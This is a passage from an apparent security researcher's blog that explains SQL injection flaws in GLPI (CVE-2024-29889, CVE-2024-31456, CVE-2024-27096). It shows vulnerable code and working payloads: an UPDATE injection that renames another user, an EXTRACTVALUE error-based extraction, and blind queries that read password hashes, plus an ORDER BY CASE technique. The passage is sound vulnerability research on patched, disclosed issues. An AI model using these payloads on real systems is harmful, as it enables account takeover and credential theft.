<p>The JSON object saved as <code class="language-plaintext highlighter-rouge">savedsearches_pinned</code> is created by the code at line 51 we saw earlier, by the routine <code class="language-plaintext highlighter-rouge">exportArrayToDb</code>. Trying to set the parameter <code class="language-plaintext highlighter-rouge">itemtype=Ticket'</code> (notice the quote) would not work, because <code class="language-plaintext highlighter-rouge">Ticket'</code> could not resolve to a valid class name, making the application exit at line 45.</p>

<h3 id="another-injection-point">Another injection point</h3>

<p>Since the only POST’ed parameter that was sent was <code class="language-plaintext highlighter-rouge">itemtype</code>, it seemed logical that the injection point was somewhere else. Since the two values that were passed to <code class="language-plaintext highlighter-rouge">User::update</code> were the ID of the user and <code class="language-plaintext highlighter-rouge">$_SESSION['glpisavedsearches_pinned']</code>, I had the feeling that the latter was probably the culprit.</p>

<p>Here is the clean code of the file (I added comments):</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">include</span><span class="p">(</span><span class="s1">'../inc/includes.php'</span><span class="p">);</span>

<span class="nb">header</span><span class="p">(</span><span class="s1">'Content-Type: application/json; charset=UTF-8'</span><span class="p">);</span>
<span class="nc">Html</span><span class="o">::</span><span class="nf">header_nocache</span><span class="p">();</span>

<span class="nc">Session</span><span class="o">::</span><span class="nf">checkLoginUser</span><span class="p">();</span>

<span class="c1">//we need to have a valid class name for $_POST["itemtype"]</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">is_string</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'itemtype'</span><span class="p">])</span> <span class="o">||</span> <span class="nf">getItemForItemtype</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'itemtype'</span><span class="p">])</span> <span class="o">===</span> <span class="kc">false</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">echo</span> <span class="nb">json_encode</span><span class="p">([</span><span class="s1">'success'</span> <span class="o">=&gt;</span> <span class="kc">false</span><span class="p">]);</span>
    <span class="k">exit</span><span class="p">();</span>
<span class="p">}</span>

<span class="c1">//kind of "json_decode"</span>
<span class="nv">$all_pinned</span> <span class="o">=</span> <span class="nf">importArrayFromDB</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'glpisavedsearches_pinned'</span><span class="p">]);</span>
<span class="c1">//if the parsed JSON stream contains a key that is the POST'ed itemtype</span>
<span class="nv">$already_pinned</span> <span class="o">=</span> <span class="nv">$all_pinned</span><span class="p">[</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'itemtype'</span><span class="p">]]</span> <span class="o">??</span> <span class="mi">0</span><span class="p">;</span>
<span class="c1">// $all_pinned[$_POST['itemtype']] wil be either 0 or 1, so useless for us</span>
<span class="nv">$all_pinned</span><span class="p">[</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'itemtype'</span><span class="p">]]</span> <span class="o">=</span> <span class="nv">$already_pinned</span> <span class="o">?</span> <span class="mi">0</span> <span class="o">:</span> <span class="mi">1</span><span class="p">;</span>
<span class="c1">//$all_pinned as JSON stream is saved as $_SESSION['glpisavedsearches_pinned']</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'glpisavedsearches_pinned'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">exportArrayToDB</span><span class="p">(</span><span class="nv">$all_pinned</span><span class="p">);</span>

<span class="nv">$user</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">User</span><span class="p">();</span>
<span class="nv">$success</span> <span class="o">=</span> <span class="nv">$user</span><span class="o">-&gt;</span><span class="nf">update</span><span class="p">(</span>
    <span class="p">[</span>
        <span class="s1">'id'</span>                   <span class="o">=&gt;</span> <span class="nc">Session</span><span class="o">::</span><span class="nf">getLoginUserID</span><span class="p">(),</span> <span class="c1">//the ID of the user, normally cannot be altered</span>
        <span class="s1">'savedsearches_pinned'</span> <span class="o">=&gt;</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'glpisavedsearches_pinned'</span><span class="p">],</span> <span class="c1">//the modified $_SESSION['glpisavedsearches_pinned']</span>
    <span class="p">]</span>
<span class="p">);</span>

<span class="k">echo</span> <span class="nb">json_encode</span><span class="p">([</span><span class="s1">'success'</span> <span class="o">=&gt;</span> <span class="nv">$success</span><span class="p">]);</span>
</code></pre></div></div>

<p>The value of <code class="language-plaintext highlighter-rouge">$_SESSION['glpisavedsearches_pinned']</code> toggles the state of a search (pinned or not / 1 or 0), and is supposed to contain a JSON object. Since there was an SQL injection, it seemed obvious to me that there was a way to manipulate <code class="language-plaintext highlighter-rouge">$_SESSION['glpisavedsearches_pinned']</code>, that would be passed unsanitised to the routine <code class="language-plaintext highlighter-rouge">User::update</code>. I then <code class="language-plaintext highlighter-rouge">grep</code>‘ed through the source code, looking for the regex <code class="language-plaintext highlighter-rouge">\$_SESSION\[.*=</code>. A bunch of results was returned, but sorting the results highlighted one line in <code class="language-plaintext highlighter-rouge">src/User.php</code>:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Regex search" src="/assets/res/stuff/CVE-2024-29889-31456/results.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Regex search" src="/assets/res/stuff/CVE-2024-29889-31456/results1.png" /></p>

<p>This piece of code was called when a user updates their preferences. If the name of the preference belongs to the list <code class="language-plaintext highlighter-rouge">$CFG_GLPI['user_pref_field']</code>, then it is stored in the <code class="language-plaintext highlighter-rouge">$_SESSION</code>, by prepending its name with the string <em>‘glpi’</em>. I then edited my preferences and captured the request:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Regex search" src="/assets/res/stuff/CVE-2024-29889-31456/pref_edit.png" /></p>

<p>The parameter <code class="language-plaintext highlighter-rouge">savedsearches_pinned</code> was not set by default, but since the list <code class="language-plaintext highlighter-rouge">$CFG_GLPI['user_pref_field']</code> is as follows (in <code class="language-plaintext highlighter-rouge">inc/define.php</code>), one could add the parameter <code class="language-plaintext highlighter-rouge">savedsearches_pinned</code> to hopefully write an arbitrary value in <code class="language-plaintext highlighter-rouge">$_SESSION['glpisavedsearches_pinned']</code>:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Config items" src="/assets/res/stuff/CVE-2024-29889-31456/conf_items.png" /></p>

<p>In other words, it means that we could use the preferences editing functionality to write something arbitrary to <code class="language-plaintext highlighter-rouge">$_SESSION['glpisavedsearches_pinned']</code> since the key <em>savedsearches_pinned</em> belongs to <code class="language-plaintext highlighter-rouge">$CFG_GLPI['user_pref_field']</code>.</p>

<h3 id="building-the-payload">Building the payload</h3>

<p>To make it work, one then first needs to update their preferences. To do so, simply edit them through the interface and send the request to the Burp’s Repeater. A CSRF token is in use, but it is not really problematic, because the error page would return a valid one. Therefore, a first faulty request should be sent to get a valid token, and the request should be resent with the expected value. Let’s send a first request with a POST’ed <code class="language-plaintext highlighter-rouge">savedsearches_pinned</code> to see its impact on the SQL request.</p>

<p>Editing the preferences:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="SQLi - editing prefs" src="/assets/res/stuff/CVE-2024-29889-31456/atk_editprefs.png" /></p>

<p>Then trigger the vulnerable code, performing the SQL query:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="SQLi - trigger injection" src="/assets/res/stuff/CVE-2024-29889-31456/atk_trigger.png" /></p>

<p>The logged SQL query was as follows:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">UPDATE</span> <span class="nv">`glpi_users`</span> <span class="k">SET</span> <span class="nv">`savedsearches_pinned`</span> <span class="o">=</span> <span class="s1">'{"test'</span><span class="nv">":42,"</span><span class="n">Ticket</span><span class="nv">":1}', `date_mod` = '2024-05-09 16:02:05' WHERE `id` = '3'
</span></code></pre></div></div>

<p>One can notice that the single quote is not escaped, breaking the JSON string, and thus making the SQL query invalid. As a proof-of-concept, let’s modify the username of the user <em>glpi</em>, having the ID 2.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="SQLi - edit prefs 2" src="/assets/res/stuff/CVE-2024-29889-31456/atk_editprefs2.png" /></p>

<p>The query is as follows:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">UPDATE</span> <span class="nv">`glpi_users`</span> <span class="k">SET</span> <span class="nv">`savedsearches_pinned`</span> <span class="o">=</span> <span class="s1">'{"test'</span><span class="p">,</span> <span class="nv">`name`</span><span class="o">=</span><span class="nb">char</span><span class="p">(</span><span class="mi">0</span><span class="n">x70</span><span class="p">,</span><span class="mi">0</span><span class="n">x77</span><span class="p">,</span><span class="mi">0</span><span class="n">x6e</span><span class="p">)</span> <span class="k">where</span> <span class="nv">`id`</span><span class="o">=</span><span class="mi">2</span><span class="p">;</span> <span class="c1">-- ":42,"Ticket":1}', `date_mod` = '2024-05-09 16:12:16' WHERE `id` = '3'</span>
</code></pre></div></div>

<p>and the users table is now updated (:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="SQLi - pwn" src="/assets/res/stuff/CVE-2024-29889-31456/atk_sql.png" /></p>

<h2 id="conclusion">Conclusion</h2>

<p>The version 10.0.14 addressed two SQL injections, that were due to incomplete patches for the vulnerabilities CVE-2024-27096 and CVE-2023-43813. The first one (CVE-2024-31456, the one I reported) was quite easy to exploit, only finding a path in the code the called the vulnerable function without passing through the patched routine. The second one (CVE-2024-29889, the one I missed) was trickier, leveraging a permissive preference editing feature to inject a value inside the <code class="language-plaintext highlighter-rouge">$_SESSION</code>. The value was passed unsanitised enough to <code class="language-plaintext highlighter-rouge">User::update</code>, making an authenticated attacker able to manipulate any record inside the <code class="language-plaintext highlighter-rouge">glpi_users</code> table.</p>

<h1 id="references">References</h1>
<ul>
  <li><a href="https://blog.quarkslab.com/exploiting-glpi-during-a-red-team-engagement.html">Exploiting GLPI during a Red Team engagement</a></li>
  <li><a href="https://github.com/glpi-project/glpi/security/advisories/GHSA-8xvf-v6vv-r75g">GHSA: Account takeover via SQL Injection in saved searches feature</a></li>
  <li><a href="https://github.com/glpi-project/glpi/commit/0a6b28be4c0f848106c60b554c703ec2e178d6c7">Patch for CVE-2024-29889</a></li>
  <li><a href="https://github.com/glpi-project/glpi/security/advisories/GHSA-gcj4-2cp3-6h5j">GHSA: Authenticated SQL injection</a></li>
  <li><a href="https://github.com/glpi-project/glpi/commit/730c3db29a1edc32f9b9d1e2a940e90a0211ab26">Patch for CVE-2024-31456</a></li>
</ul>]]></content><author><name></name></author><category term="stuff" /><summary type="html"><![CDATA[Intro After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really interested in this solution, and decided to investigate further. As the version 10.0.13 and 10.0.14 were published, I took a close look at the patches, and analysed how efficient they were to tackle the reported vulnerabilities. I discovered that CVE-2024-27096, was insufficiently patched, and that an SQL injection was still possible (CVE-2024-31456). I reported it to the vendor, and as the subsequent release was published (10.0.15), it appeared that it patched another SQL injection (CVE-2024-29889).]]></summary></entry><entry><title type="html">Exploiting CVE-2024-27096</title><link href="/stuff/2024/03/24/exploit-CVE-2024-27096.html" rel="alternate" type="text/html" title="Exploiting CVE-2024-27096" /><published>2024-03-24T00:00:00+00:00</published><updated>2024-03-24T00:00:00+00:00</updated><id>/stuff/2024/03/24/exploit-CVE-2024-27096</id><content type="html" xml:base="/stuff/2024/03/24/exploit-CVE-2024-27096.html"><![CDATA[<h2 id="intro">Intro</h2>
<p>A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The vendor was notified and released a patch after a couple of days, and I saw in the release notes that someone found an SQL injection in the same version. I was a little bit surprised (and also a bit disappointed to not have found it myself, I have to admit), and I was really curious about the exploitation details. Since the vendor did not disclose them, the only thing I had at this moment was the advisory and a link to the patch, referenced by the CVE bulletin:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="GHSA-2x8m-vrcm-2jqv" src="/assets/res/stuff/CVE-2024-27096/glpi-ghsa.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Patch for CVE-2024-27096" src="/assets/res/stuff/CVE-2024-27096/glpi_patch.png" /></p>

<p>When I wrote this article, I realised that the reporter published a blogpost (see references) where details were pretty clear, but when I started to analyse the patch, they were not yet disclosed. Therefore, since the details are already public, I will not describe how I uncovered that flaw during my own analysis, but will focus on the way I exploited it.</p>

<h2 id="the-flaw">The flaw</h2>
<p>One can quickly see that something weird is happening when setting the parameter <code class="language-plaintext highlighter-rouge">sort</code> in search requests, to sort the results. In the patch, the values passed in the <code class="language-plaintext highlighter-rouge">sort</code> array were casted as integers, so it was likely that they were improperly compared against strings in the flawed version. In PHP 7.*, the loose comparison between strings and integers returns a positive answer if the string value starts with the expected integer. For instance, it would return <code class="language-plaintext highlighter-rouge">true</code> when computing <code class="language-plaintext highlighter-rouge">8 == "8-put-a-string-here"</code>. The quotes were escaped in the user inputs, but as long as the payload did not contain one, I could inject any string I wanted, and break outside the <code class="language-plaintext highlighter-rouge">SORT</code> clause.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Uncovering the injection" src="/assets/res/stuff/CVE-2024-27096/glpi_uncover_sqli.png" /></p>

<p>When performing a research among the assets, the application dynamically builds a query based on the filters the user wants to apply. The <code class="language-plaintext highlighter-rouge">sort</code> parameter is supposed to contain integers that are mapped to column names, and the lack of explicit conversion opened the way to injections. To make things easier, I added a line to write the SQL queries into a text file, and saw that the faulty query was as follows:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="k">DISTINCT</span>
    <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`id`</span> <span class="k">AS</span> <span class="n">id</span><span class="p">,</span> <span class="s1">'glpi'</span> <span class="k">AS</span> <span class="n">currentuser</span><span class="p">,</span>
    <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`entities_id`</span><span class="p">,</span>
    <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`is_recursive`</span><span class="p">,</span>
    <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`name`</span> <span class="k">AS</span> <span class="nv">`ITEM_Computer_1`</span><span class="p">,</span>
    <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`id`</span> <span class="k">AS</span> <span class="nv">`ITEM_Computer_1_id`</span><span class="p">,</span>
    <span class="nv">`glpi_states`</span><span class="p">.</span><span class="nv">`completename`</span> <span class="k">AS</span> <span class="nv">`ITEM_Computer_31`</span><span class="p">,</span>
    <span class="nv">`glpi_manufacturers`</span><span class="p">.</span><span class="nv">`name`</span> <span class="k">AS</span> <span class="nv">`ITEM_Computer_23`</span><span class="p">,</span>
    <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`serial`</span> <span class="k">AS</span> <span class="nv">`ITEM_Computer_5`</span><span class="p">,</span>
    <span class="nv">`glpi_computertypes`</span><span class="p">.</span><span class="nv">`name`</span> <span class="k">AS</span> <span class="nv">`ITEM_Computer_4`</span><span class="p">,</span>
    <span class="nv">`glpi_computermodels`</span><span class="p">.</span><span class="nv">`name`</span> <span class="k">AS</span> <span class="nv">`ITEM_Computer_40`</span><span class="p">,</span>
    <span class="n">GROUP_CONCAT</span><span class="p">(</span>
        <span class="k">DISTINCT</span> <span class="n">CONCAT</span><span class="p">(</span>
            <span class="n">IFNULL</span><span class="p">(</span><span class="nv">`glpi_operatingsystems_9719987b154aaf3b42c3db32aef59090`</span><span class="p">.</span><span class="nv">`name`</span><span class="p">,</span> <span class="s1">'__NULL__'</span><span class="p">),</span>
            <span class="s1">'$#$'</span><span class="p">,</span><span class="nv">`glpi_operatingsystems_9719987b154aaf3b42c3db32aef59090`</span><span class="p">.</span><span class="nv">`id`</span><span class="p">)</span>
        <span class="k">ORDER</span> <span class="k">BY</span> <span class="nv">`glpi_operatingsystems_9719987b154aaf3b42c3db32aef59090`</span><span class="p">.</span><span class="nv">`id`</span> <span class="n">SEPARATOR</span> <span class="s1">'$$##$$'</span><span class="p">)</span> <span class="k">AS</span> <span class="nv">`ITEM_Computer_45`</span><span class="p">,</span>
    <span class="nv">`glpi_locations`</span><span class="p">.</span><span class="nv">`completename`</span> <span class="k">AS</span> <span class="nv">`ITEM_Computer_3`</span><span class="p">,</span>
    <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`date_mod`</span> <span class="k">AS</span> <span class="nv">`ITEM_Computer_19`</span><span class="p">,</span>
    <span class="n">GROUP_CONCAT</span><span class="p">(</span>
        <span class="k">DISTINCT</span> <span class="n">CONCAT</span><span class="p">(</span>
            <span class="n">IFNULL</span><span class="p">(</span><span class="nv">`glpi_deviceprocessors_7083fb7d2b7a8b8abd619678acc5b604`</span><span class="p">.</span><span class="nv">`designation`</span><span class="p">,</span> <span class="s1">'__NULL__'</span><span class="p">),</span>
            <span class="s1">'$#$'</span><span class="p">,</span><span class="nv">`glpi_deviceprocessors_7083fb7d2b7a8b8abd619678acc5b604`</span><span class="p">.</span><span class="nv">`id`</span><span class="p">)</span>
        <span class="k">ORDER</span> <span class="k">BY</span> <span class="nv">`glpi_deviceprocessors_7083fb7d2b7a8b8abd619678acc5b604`</span><span class="p">.</span><span class="nv">`id`</span> <span class="n">SEPARATOR</span> <span class="s1">'$$##$$'</span><span class="p">)</span> <span class="k">AS</span> <span class="nv">`ITEM_Computer_17`</span>
<span class="k">FROM</span> <span class="nv">`glpi_computers`</span>
<span class="p">...</span>
<span class="k">WHERE</span> <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`is_deleted`</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">AND</span> <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`is_template`</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">AND</span> <span class="p">((</span>
            <span class="p">(</span><span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`name`</span>  <span class="k">LIKE</span> <span class="s1">'%my-search-term%'</span> <span class="p">)</span>
            <span class="k">OR</span>  <span class="p">(</span><span class="nv">`glpi_states`</span><span class="p">.</span><span class="nv">`completename`</span>  <span class="k">LIKE</span> <span class="s1">'%my-search-term%'</span> <span class="p">)</span> 
            <span class="k">OR</span>  <span class="p">(</span><span class="nv">`glpi_manufacturers`</span><span class="p">.</span><span class="nv">`name`</span>  <span class="k">LIKE</span> <span class="s1">'%my-search-term%'</span> <span class="p">)</span> 
            <span class="k">OR</span>  <span class="p">(</span><span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`serial`</span>  <span class="k">LIKE</span> <span class="s1">'%my-search-term%'</span> <span class="p">)</span>
            <span class="k">OR</span>  <span class="p">(</span><span class="nv">`glpi_computertypes`</span><span class="p">.</span><span class="nv">`name`</span>  <span class="k">LIKE</span> <span class="s1">'%my-search-term%'</span> <span class="p">)</span>
            <span class="k">OR</span>  <span class="p">(</span><span class="nv">`glpi_computermodels`</span><span class="p">.</span><span class="nv">`name`</span>  <span class="k">LIKE</span> <span class="s1">'%my-search-term%'</span> <span class="p">)</span>
            <span class="k">OR</span>  <span class="p">(</span><span class="nv">`glpi_operatingsystems_9719987b154aaf3b42c3db32aef59090`</span><span class="p">.</span><span class="nv">`name`</span>  <span class="k">LIKE</span> <span class="s1">'%my-search-term%'</span> <span class="p">)</span>
            <span class="k">OR</span>  <span class="p">(</span><span class="nv">`glpi_locations`</span><span class="p">.</span><span class="nv">`completename`</span>  <span class="k">LIKE</span> <span class="s1">'%my-search-term%'</span> <span class="p">)</span>
            <span class="k">OR</span>  <span class="p">(</span><span class="k">CONVERT</span><span class="p">(</span><span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`date_mod`</span> <span class="k">USING</span> <span class="n">utf8mb4</span><span class="p">)</span>  <span class="k">LIKE</span> <span class="s1">'%my-search-term%'</span> <span class="p">)</span>
        <span class="p">))</span>
<span class="k">GROUP</span> <span class="k">BY</span> <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`id`</span>
<span class="k">ORDER</span> <span class="k">BY</span> <span class="nv">`ITEM_Computer_1hey-oh`</span> <span class="k">ASC</span>
</code></pre></div></div>

<p><em>(escaping sequences removed for readability)</em></p>

<p>One can see that the <code class="language-plaintext highlighter-rouge">ORDER BY</code> clause is injected, where <code class="language-plaintext highlighter-rouge">ITEM_Computer_1hey-oh</code> is supposed to be a column.</p>

<h2 id="the-error-based-approach">The error-based approach</h2>

<p>In the article the security researcher published, they say that they first tried to exploit it with a time-based blind SQL injection, and then found an easier way with an error-based one. The trick they used is based on the function <code class="language-plaintext highlighter-rouge">EXTRACTVALUE</code>. The latter expects two arguments:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">xml_frag</code>: an XML fragment where to search (haystack)</li>
  <li><code class="language-plaintext highlighter-rouge">xpath_expr</code>: the XPATH expression coming as a search term (needle)</li>
</ul>

<p>The idea is to pass the string to extract as the second argument, and the DBMS would complain because it is not a valid XPATH expression. They used the following payload:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">1</span><span class="nv">`,extractvalue(rand(),concat(CHAR(126),(SELECT database()),CHAR(126))) -- -
</span></code></pre></div></div>

<p>and got their answer in the web page. In this case, we extract the database name:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="extractvalues injection" src="/assets/res/stuff/CVE-2024-27096/glpi_sqli_xpath.png" /></p>

<p>But what if the application would not have returned any error message ?</p>

<h2 id="an-uncommon-content-based-blind-injection">An uncommon content-based blind injection</h2>

<p>As my grandma said, <em>back in the days, we did not have SQLmap and had to do it by hand, today’s young people are so lazy</em>, and I always prefer building the payloads myself too.</p>

<p>Generally speaking, content-based blind SQL injections rely on a dichotomic research, asking boolean questions to the DBMS, and comparing the results in terms of content-length, HTTP codes, or patterns. With patience and luck, an attacker may extract bit by bit the content of the database. In most of the examples one can find in the wild, the injection occurs in the <code class="language-plaintext highlighter-rouge">WHERE</code> clause, that makes the injection quite easy:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span>
<span class="k">FROM</span> <span class="n">the_table</span>
<span class="k">WHERE</span> <span class="n">id</span><span class="o">=</span><span class="p">{</span><span class="k">input</span><span class="p">}</span>
<span class="k">GROUP</span> <span class="k">BY</span> <span class="n">the_column</span> <span class="k">ASC</span>
</code></pre></div></div>

<p>As an input, we would have something like:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">((</span><span class="k">select</span> <span class="n">ascii</span><span class="p">(</span><span class="n">substr</span><span class="p">(</span><span class="n">password</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span> <span class="k">from</span> <span class="n">glpi_users</span> <span class="k">where</span> <span class="n">id</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span><span class="o">&gt;</span><span class="mi">65</span><span class="p">)</span>
</code></pre></div></div>

<p>that asks if the ASCII code of the first character of the password of user n°2 is greater than 65. The resulting query would therefore be:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">the_table</span> <span class="k">WHERE</span> <span class="n">id</span><span class="o">=</span><span class="mi">0</span> <span class="k">GROUP</span> <span class="k">BY</span> <span class="n">the_column</span> <span class="k">ASC</span>

<span class="c1">-- or</span>

<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">the_table</span> <span class="k">WHERE</span> <span class="n">id</span><span class="o">=</span><span class="mi">1</span> <span class="k">GROUP</span> <span class="k">BY</span> <span class="n">the_column</span> <span class="k">ASC</span>
</code></pre></div></div>

<p>which would probably lead to different generated web pages.</p>

<p>Depending on the answer, we would ask either:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">((</span><span class="k">select</span> <span class="n">ascii</span><span class="p">(</span><span class="n">substr</span><span class="p">(</span><span class="n">password</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span> <span class="k">from</span> <span class="n">glpi_users</span> <span class="k">where</span> <span class="n">id</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span><span class="o">&gt;</span><span class="mi">32</span><span class="p">)</span>
</code></pre></div></div>

<p>or</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">((</span><span class="k">select</span> <span class="n">ascii</span><span class="p">(</span><span class="n">substr</span><span class="p">(</span><span class="n">password</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span> <span class="k">from</span> <span class="n">glpi_users</span> <span class="k">where</span> <span class="n">id</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span><span class="o">&gt;</span><span class="mi">96</span><span class="p">)</span>
</code></pre></div></div>

<p>in order to split in half the search space. Once the first character is found, we would restart by updating the arguments of <code class="language-plaintext highlighter-rouge">SUBSTRING</code> to uncover the second character and so on…</p>

<p>However, the situation was trickier here, because we would inject in the <code class="language-plaintext highlighter-rouge">ORDER BY</code> clause, and at this point of the query, <code class="language-plaintext highlighter-rouge">SELECT</code>, <code class="language-plaintext highlighter-rouge">UNION</code>, or <code class="language-plaintext highlighter-rouge">WHERE</code> are not allowed (and batch queries neither). The idea would be to abuse the injection to sort the results in different ways, according to the boolean question: if the answer is positive, then sort in one way, otherwise sort it differently. The elements would be the same, but displayed in a different order.</p>

<h2 id="injection-in-the-order-by-clause">Injection in the <code class="language-plaintext highlighter-rouge">ORDER BY</code> clause</h2>

<p>Multiple columns can be specified in the <code class="language-plaintext highlighter-rouge">ORDER BY</code> clause: the filter for the column <code class="language-plaintext highlighter-rouge">n+1</code> would apply if the values for the column <code class="language-plaintext highlighter-rouge">n</code> are the same. For instance, if we have:</p>

<table>
  <thead>
    <tr>
      <th>id</th>
      <th>name</th>
      <th>age</th>
      <th>gender</th>
      <th>address</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td>Alice</td>
      <td>19</td>
      <td>F</td>
      <td>127.0.0.1</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Bob</td>
      <td>19</td>
      <td>M</td>
      <td>::1</td>
    </tr>
    <tr>
      <td>3</td>
      <td>Charlie</td>
      <td>18</td>
      <td>M</td>
      <td>255.255.255.255</td>
    </tr>
  </tbody>
</table>

<p>then doing <code class="language-plaintext highlighter-rouge">SELECT * FROM users ORDER BY age,gender ASC</code> would return this (Charlie goes first because he is younger, and then Alice takes the second place because F goes before M):</p>

<table>
  <thead>
    <tr>
      <th>id</th>
      <th>name</th>
      <th>age</th>
      <th>gender</th>
      <th>address</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>3</td>
      <td>Charlie</td>
      <td>18</td>
      <td>M</td>
      <td>255.255.255.255</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Alice</td>
      <td>19</td>
      <td>F</td>
      <td>127.0.0.1</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Bob</td>
      <td>19</td>
      <td>M</td>
      <td>::1</td>
    </tr>
  </tbody>
</table>

<p>and <code class="language-plaintext highlighter-rouge">SELECT * FROM users ORDER BY gender,age ASC</code> would return this (Alice goes first because F goes before M, and Charlies takes the second place because he is younger than Bob):</p>

<table>
  <thead>
    <tr>
      <th>id</th>
      <th>name</th>
      <th>age</th>
      <th>gender</th>
      <th>address</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td>Alice</td>
      <td>19</td>
      <td>F</td>
      <td>127.0.0.1</td>
    </tr>
    <tr>
      <td>3</td>
      <td>Charlie</td>
      <td>18</td>
      <td>M</td>
      <td>255.255.255.255</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Bob</td>
      <td>19</td>
      <td>M</td>
      <td>::1</td>
    </tr>
  </tbody>
</table>

<p>Based on the query that we logged earlier, we know that we inject here:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">ORDER</span> <span class="k">BY</span> <span class="nv">`ITEM_Computer_{input}`</span> <span class="k">ASC</span>
</code></pre></div></div>

<p>We must therefore close the column name with a number and a backtick, then add another column name depending on the result of our boolean question, and finally add a backtick and a third column name to properly inject. Fortunately, the <code class="language-plaintext highlighter-rouge">ORDER BY</code> clause accepts the <code class="language-plaintext highlighter-rouge">CASE ... WHEN ... THEN</code> structure, like this:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">ORDER</span> <span class="k">BY</span>
    <span class="nv">`ITEM_Computer_40`</span><span class="p">,</span>
    <span class="p">(</span>
        <span class="k">CASE</span>
            <span class="k">WHEN</span> <span class="mi">1</span><span class="o">=</span><span class="mi">0</span> <span class="k">THEN</span>
                <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`id`</span>
            <span class="k">ELSE</span>
                <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`name`</span>
        <span class="k">END</span>
    <span class="p">),</span>
    <span class="nv">`glpi_computers`</span><span class="p">.</span><span class="nv">`is_recursive`</span>
<span class="k">ASC</span>
</code></pre></div></div>

<p>The idea was to select as the first column something that would be the same for at least two elements, so that the second column would apply (and the latter must contain different values to make the sorting different). If the condition is true, then the sorting applies on <code class="language-plaintext highlighter-rouge">glpi_computers</code>.<code class="language-plaintext highlighter-rouge">id</code>, otherwise it would be on <code class="language-plaintext highlighter-rouge">glpi_computers</code>.<code class="language-plaintext highlighter-rouge">name</code>. The third column does not really matter.</p>

